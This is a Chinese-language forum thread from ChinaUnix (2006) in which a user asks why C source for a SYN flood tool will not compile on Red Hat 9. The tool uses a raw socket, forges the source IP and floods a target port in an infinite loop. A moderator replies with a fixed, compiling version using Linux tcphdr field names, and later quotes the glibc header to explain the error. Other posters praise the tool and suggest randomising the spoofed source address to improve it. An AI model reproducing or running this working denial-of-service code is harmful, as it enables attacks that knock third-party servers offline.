免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3784 | 回复: 8

有关tcp.h的程序编译问题,编译不成功,急! [复制链接]

论坛徽章:
0
发表于 2006-03-17 20:20 |显示全部楼层
源代码如下:
#include<errno.h>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netdb.h>
#include<unistd.h>
#include<stdlib.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>

unsigned   long   srcport;

/*定义一个伪装地址的结构*/
struct   pseudohdr
{
struct   in_addr   saddr;
struct   in_addr   daddr;
u_char   zero;
u_char   protocol;
u_short   length;
struct   tcphdr   tcpheader;
};

u_short   checksum(u_short   *   data,u_short   length)
{
int   nleft=length;
int   sum=0;
unsigned   short   *w=data;
unsigned   short   value=0;

while(nleft>1){
sum+=*w++;
nleft-=2;
}

if(nleft==1){
*(unsigned   char   *)(&value)=*(unsigned   char   *)w;
sum+=value;
}

sum=(sum>>16)+(sum   &   0xffff);
sum+=(sum>>16);
value=~sum;
return   value;
}

int   main(int   argc   ,char   *   argv[])
{
struct   sockaddr_in   sin;
struct   sockaddr_in   din;
struct   hostent   *   hoste;
struct   hostent   *   host1;
int   j,sock,foo,flooddot=1;
char   buffer[40];
struct   ip*   ipheader=(struct   ip*)   buffer;
struct   tcphdr   *   tcpheader=(struct   tcphdr*)(buffer+sizeof(struct   ip));
struct   pseudohdr   pseudoheader;

  fprintf(stderr,"Syn   attack   against   one   port,(Infinite)\n";
/*判断参数*/
if(argc<4)
{
fprintf(stderr,"usage:%s   \n",argv[0]);
return   -1;
}

fprintf(stderr,"%s:%s   is   being   syn'd   attacked   by   %s.\n",argv[1],argv[2],argv[3]);
bzero(&sin,sizeof(struct   sockaddr_in));   /*write   sizeof   to   &sin*/
sin.sin_family=AF_INET;
if((host1=gethostbyname(argv[3]))!=NULL)
bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
else   if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown   source   host   %s\n",argv[3]);
return   -1;
}

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else   if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown   destination   host   %s.\n",argv[1]);
return   -1;
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown   port   %s\n",argv[2]);
return   -1;
}

/*以上语句是给sockaddr_in结构赋值,需要指明协议,端口号!*/
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't   allocate   raw   socket!\n";
return   -1;
}

foo=1;
/*以下语句是为了重构报头*/
if(setsockopt(sock,0,IP_HDRINCL,(char   *)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't   set   raw   header   on   socket   \n";
return   -1;
}

for(j=1;j>0;j++)
{
bzero(&buffer,sizeof(struct   ip)+sizeof(struct   tcphdr));
ipheader->ip_v=4;
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct   ip)/4;
ipheader->ip_len=sizeof(struct   ip)+sizeof(struct   tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30;   /*255*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=din.sin_addr;
ipheader->ip_dst=sin.sin_addr;

tcpheader->th_sport=htons(srcport);   /*sin.sin_port*/
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0x28374839);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct   tcphdr)/4;
tcpheader->th_win=htons(204;
tcpheader->th_sum=0;

bzero(&pseudoheader,12+sizeof(struct   tcphdr));
pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct   tcphdr));
tcpheader->th_sum=checksum((u_short   *)&pseudoheader,12+sizeof(struct   tcphdr));
/*以上为重构报头*/
/*改变端口*/
srcport=(10000.0*random()/(15000+1.0));
if(sendto(sock,buffer,sizeof(struct   ip)+sizeof(struct   tcphdr),0,(struct   sockaddr   *)   &sin,sizeof(struct   sockaddr_in))==-1)
/*攻击开始*/
{
fprintf(stderr,"couldn't   send   packet   \n",errno);
return   -1;
}

usleep(2);
if(!(flooddot=(flooddot+1)%(1))){
fprintf(stdout,".";
fflush(stdout);
}
/*显示次数,将上面一句改成如下两句,增加显示效果,随便
*   {
* fprintf(stdout,".%4d",j);
* fflush(stdout);
*     }
*     int   k=j;if((K%10)==0)   printf("\n";
*/
}   /*The   end   of   the   infinite   loop   */
close(sock);
return   0;
}

[ 本帖最后由 tyronethanos 于 2006-3-17 20:27 编辑 ]

论坛徽章:
0
发表于 2006-03-17 20:21 |显示全部楼层
在红帽9中用gcc   pnet.c   -o   pnet   编译,出错信息如下:
p.c:   In   function   `main':
p.c:123:   structure   has   no   member   named   `th_sport'
p.c:124:   structure   has   no   member   named   `th_dport'
p.c:125:   structure   has   no   member   named   `th_seq'
p.c:126:   structure   has   no   member   named   `th_flags'
p.c:126:   `TH_SYN'   undeclared   (first   use   in   this   function)
p.c:126:   (Each   undeclared   identifier   is   reported   only   once
p.c:126:   for   each   function   it   appears   in.)
p.c:127:   structure   has   no   member   named   `th_off'
p.c:128:   structure   has   no   member   named   `th_win'
p.c:129:   structure   has   no   member   named   `th_sum'
p.c:136:   structure   has   no   member   named   `th_sum'
但是这些成员变量我都可以在#include<netinet/tcp.h>中找到啊。请高手指点,非常感谢。

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2006-03-17 20:56 |显示全部楼层

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netdb.h>
  5. #include <unistd.h>
  6. #include <stdlib.h>
  7. #include <netinet/ip.h>
  8. #include <netinet/tcp.h>
  9. #include <errno.h>
  10. #include <string.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. unsigned   long   srcport;

  15. struct   pseudohdr
  16. {
  17.     struct   in_addr   saddr;
  18.     struct   in_addr   daddr;
  19.     u_char   zero;
  20.     u_char   protocol;
  21.     u_short   length;
  22.     struct   tcphdr   tcpheader;
  23. };

  24. u_short   checksum(u_short   *   data,u_short   length)
  25. {
  26.     int   nleft=length;
  27.     int   sum=0;
  28.     unsigned   short   *w=data;
  29.     unsigned   short   value=0;

  30.     while(nleft>1){
  31.         sum+=*w++;
  32.         nleft-=2;
  33.     }

  34.     if(nleft==1){
  35.         *(unsigned   char   *)(&value)=*(unsigned   char   *)w;
  36.         sum+=value;
  37.     }

  38.     sum=(sum>>16)+(sum   &   0xffff);
  39.     sum+=(sum>>16);
  40.     value=~sum;
  41.     return   value;
  42. }

  43. int   main(int   argc   ,char   *   argv[])
  44. {
  45.     struct   sockaddr_in   sin;
  46.     struct   sockaddr_in   din;
  47.     struct   hostent   *   hoste;
  48.     struct   hostent   *   host1;
  49.     int   j,sock,foo,flooddot=1;
  50.     char   buffer[40];
  51.     struct   ip*   ipheader=(struct   ip*)   buffer;
  52.     struct   tcphdr   *   tcpheader=(struct   tcphdr*)(buffer+sizeof(struct   ip));
  53.     struct   pseudohdr   pseudoheader;

  54.     fprintf(stderr,"Syn   attack   against   one   port,(Infinite)\n");
  55.     /*....*/
  56.     if(argc<4)
  57.     {
  58.         fprintf(stderr,"usage:%s   \n",argv[0]);
  59.         return   -1;
  60.     }

  61.     fprintf(stderr,"%s:%s   is   being   syn'd   attacked   by   %s.\n",argv[1],argv[2],argv[3]);
  62.     bzero(&sin,sizeof(struct   sockaddr_in));   /*write   sizeof   to   &sin*/
  63.     sin.sin_family=AF_INET;
  64.     if((host1=gethostbyname(argv[3]))!=NULL)
  65.         bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
  66.     else   if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
  67.     {
  68.         fprintf(stderr,"unknown   source   host   %s\n",argv[3]);
  69.         return   -1;
  70.     }

  71.     if((hoste=gethostbyname(argv[1]))!=NULL)
  72.         bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  73.     else   if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  74.     {
  75.         fprintf(stderr,"unknown   destination   host   %s.\n",argv[1]);
  76.         return   -1;
  77.     }

  78.     if((sin.sin_port=htons(atoi(argv[2])))==0)
  79.     {
  80.         fprintf(stderr,"unknown   port   %s\n",argv[2]);
  81.         return   -1;
  82.     }

  83.     /*......sockaddr_in................*/
  84.     if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  85.     {
  86.         fprintf(stderr,"couldn't   allocate   raw   socket!\n");
  87.         return   -1;
  88.     }

  89.     foo=1;
  90.     /*...........*/
  91.     if(setsockopt(sock,0,IP_HDRINCL,(char   *)&foo,sizeof(int))==-1)
  92.     {
  93.         fprintf(stderr,"couldn't   set   raw   header   on   socket   \n");
  94.         return   -1;
  95.     }

  96.     for(j=1;j>0;j++)
  97.     {
  98.         bzero(&buffer,sizeof(struct   ip)+sizeof(struct   tcphdr));
  99.         ipheader->ip_v=4;
  100.         ipheader->ip_tos=0;
  101.         ipheader->ip_hl=sizeof(struct   ip)/4;
  102.         ipheader->ip_len=sizeof(struct   ip)+sizeof(struct   tcphdr);
  103.         ipheader->ip_id=htons(random());
  104.         ipheader->ip_ttl=30;   /*255*/
  105.         ipheader->ip_p=IPPROTO_TCP;
  106.         ipheader->ip_sum=0;
  107.         ipheader->ip_src=din.sin_addr;
  108.         ipheader->ip_dst=sin.sin_addr;

  109.         tcpheader->source=htons(srcport);   /*sin.sin_port*/
  110.         tcpheader->dest=sin.sin_port;
  111.         tcpheader->seq=htonl(0x28374839);
  112.         tcpheader->syn=1;
  113.         tcpheader->doff=sizeof(struct   tcphdr)/4;
  114.         tcpheader->window=htons(2048);
  115.         tcpheader->check=0;

  116.         bzero(&pseudoheader,12+sizeof(struct   tcphdr));
  117.         pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
  118.         pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  119.         pseudoheader.protocol=6;
  120.         pseudoheader.length=htons(sizeof(struct   tcphdr));
  121.         tcpheader->check=checksum((u_short   *)&pseudoheader,12+sizeof(struct   tcphdr));
  122.         /*.......*/
  123.         /*....*/
  124.         srcport=(10000.0*random()/(15000+1.0));
  125.         if(sendto(sock,buffer,sizeof(struct   ip)+sizeof(struct   tcphdr),0,(struct   sockaddr   *)   &sin,sizeof(struct   sockaddr_in))==-1)
  126.             /*....*/
  127.         {
  128.             fprintf(stderr,"couldn't   send   packet  %d \n",errno);
  129.             return   -1;
  130.         }

  131.         usleep(2);
  132.         if(!(flooddot=(flooddot+1)%(1))){
  133.             fprintf(stdout,".");
  134.             fflush(stdout);
  135.         }
  136.         /*..........................
  137.          *   {
  138.          * fprintf(stdout,".%4d",j);
  139.          * fflush(stdout);
  140.          *     }
  141.          *     int   k=j;if((K%10)==0)   printf("\n");
  142.          */
  143.     }   /*The   end   of   the   infinite   loop   */
  144.     close(sock);
  145.     return   0;
  146. }
复制代码

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2006-03-17 21:02 |显示全部楼层
这个syn flood不错.~

论坛徽章:
0
发表于 2006-03-18 11:02 |显示全部楼层
将源地址也弄成随机的就完美了

[ 本帖最后由 守夜人 于 2006-3-18 12:17 编辑 ]

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2006-03-18 14:28 |显示全部楼层
原帖由 tyronethanos 于 2006-3-18 13:21 发表
我不知道该加载哪个库文件啊,是不是和glibc的版本也有关系呢?这个是一个比较老的程序


这个程序,我改了一下 在我的机器上已经调试通过了.~

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2006-03-18 19:42 |显示全部楼层
原帖由 tyronethanos 于 2006-3-18 19:22 发表
我试一下


难道我改的程序.你没有试?晕倒.

论坛徽章:
0
发表于 2006-03-18 21:03 |显示全部楼层
谢谢,还想问一下,就是一些入侵检测程序,源程序应该都没问题,我在redhat9.0下编译的时候总是会报诸如"TH_SYN'   undeclared",
p.c:123:   structure   has   no   member   named   `th_sport'
p.c:124:   structure   has   no   member   named   `th_dport'等问题,是为什么呢?
还有就是有些程序编译成功,可是-o链接成可执行文件或.o文件是有大量"undefined reference to xxx"之类的错误,这又是什么原因呢?

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2006-03-18 21:10 |显示全部楼层
原帖由 tyronethanos 于 2006-3-18 21:03 发表
谢谢,还想问一下,就是一些入侵检测程序,源程序应该都没问题,我在redhat9.0下编译的时候总是会报诸如"TH_SYN'   undeclared",
p.c:123:   structure   has   no   member   named   `th_sport'
p.c:12 ...



你去看一眼那个头文件就行了.~


#ifdef __USE_MISC
# include <sys/types.h>

# ifdef __FAVOR_BSD
typedef u_int32_t tcp_seq;
/*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct tcphdr
  {
    u_int16_t th_sport;     /* source port */
    u_int16_t th_dport;     /* destination port */
    tcp_seq th_seq;     /* sequence number */
    tcp_seq th_ack;     /* acknowledgement number */
#  if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t th_x2:4;       /* (unused) */
    u_int8_t th_off:4;      /* data offset */
#  endif
#  if __BYTE_ORDER == __BIG_ENDIAN
    u_int8_t th_off:4;      /* data offset */
    u_int8_t th_x2:4;       /* (unused) */
#  endif
    u_int8_t th_flags;
#  define TH_FIN    0x01
#  define TH_SYN    0x02
#  define TH_RST    0x04
#  define TH_PUSH   0x08
#  define TH_ACK    0x10
#  define TH_URG    0x20
    u_int16_t th_win;       /* window */
    u_int16_t th_sum;       /* checksum */
    u_int16_t th_urp;       /* urgent pointer */
};

[ 本帖最后由 mq110 于 2006-3-18 21:34 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP